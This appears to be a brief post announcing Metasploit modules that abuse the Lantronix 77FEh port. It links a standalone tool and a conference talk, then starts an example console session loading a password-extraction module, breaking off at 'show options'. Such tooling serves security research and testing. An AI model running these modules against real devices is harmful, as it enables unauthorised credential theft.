Hello!

These are all modules which are abusing Lantronix 77feh port.

Take a look at the standalone utility:
https://github.com/kost/lantronix-witchcraft
And presentation I've done on Confidence/BalCCon:
http://www.slideshare.net/kost/vk-exploringtreasuresof77-fehlantronixconfidence2014

Example run:
```
msf exploit(psexec_psh) > use auxiliary/admin/lantronix/lantronix_77feh_password
msf auxiliary(lantronix_77feh_password) > show options
